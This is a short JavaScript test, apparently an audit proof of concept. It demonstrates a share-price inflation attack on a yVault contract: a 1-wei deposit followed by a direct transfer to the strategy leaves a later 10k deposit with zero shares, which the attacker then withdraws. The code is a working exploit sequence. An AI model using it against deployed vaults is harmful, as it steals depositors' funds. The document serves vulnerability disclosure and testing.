it.only("will cause 0 share issuance", async () => {
  // mint 10k + 1 wei tokens to user1
  // mint 10k tokens to owner
  let depositAmount = units(10_000);
  await token.mint(user1.address, depositAmount.add(1));
  await token.mint(owner.address, depositAmount);
  // token approval to yVault
  await token.connect(user1).approve(yVault.address, 1);
  await token.connect(owner).approve(yVault.address, depositAmount);
  
  // 1. user1 mints 1 wei = 1 share
  await yVault.connect(user1).deposit(1);
  
  // 2. do huge transfer of 10k to strategy
  // to greatly inflate share price (1 share = 10k + 1 wei)
  await token.connect(user1).transfer(strategy.address, depositAmount);
  
  // 3. owner deposits 10k
  await yVault.connect(owner).deposit(depositAmount);
  // receives 0 shares in return
  expect(await yVault.balanceOf(owner.address)).to.equal(0);

  // user1 withdraws both his and owner's deposits
  // total amt: 20k + 1 wei
  await expect(() => yVault.connect(user1).withdrawAll())
    .to.changeTokenBalance(token, user1, depositAmount.mul(2).add(1));
});
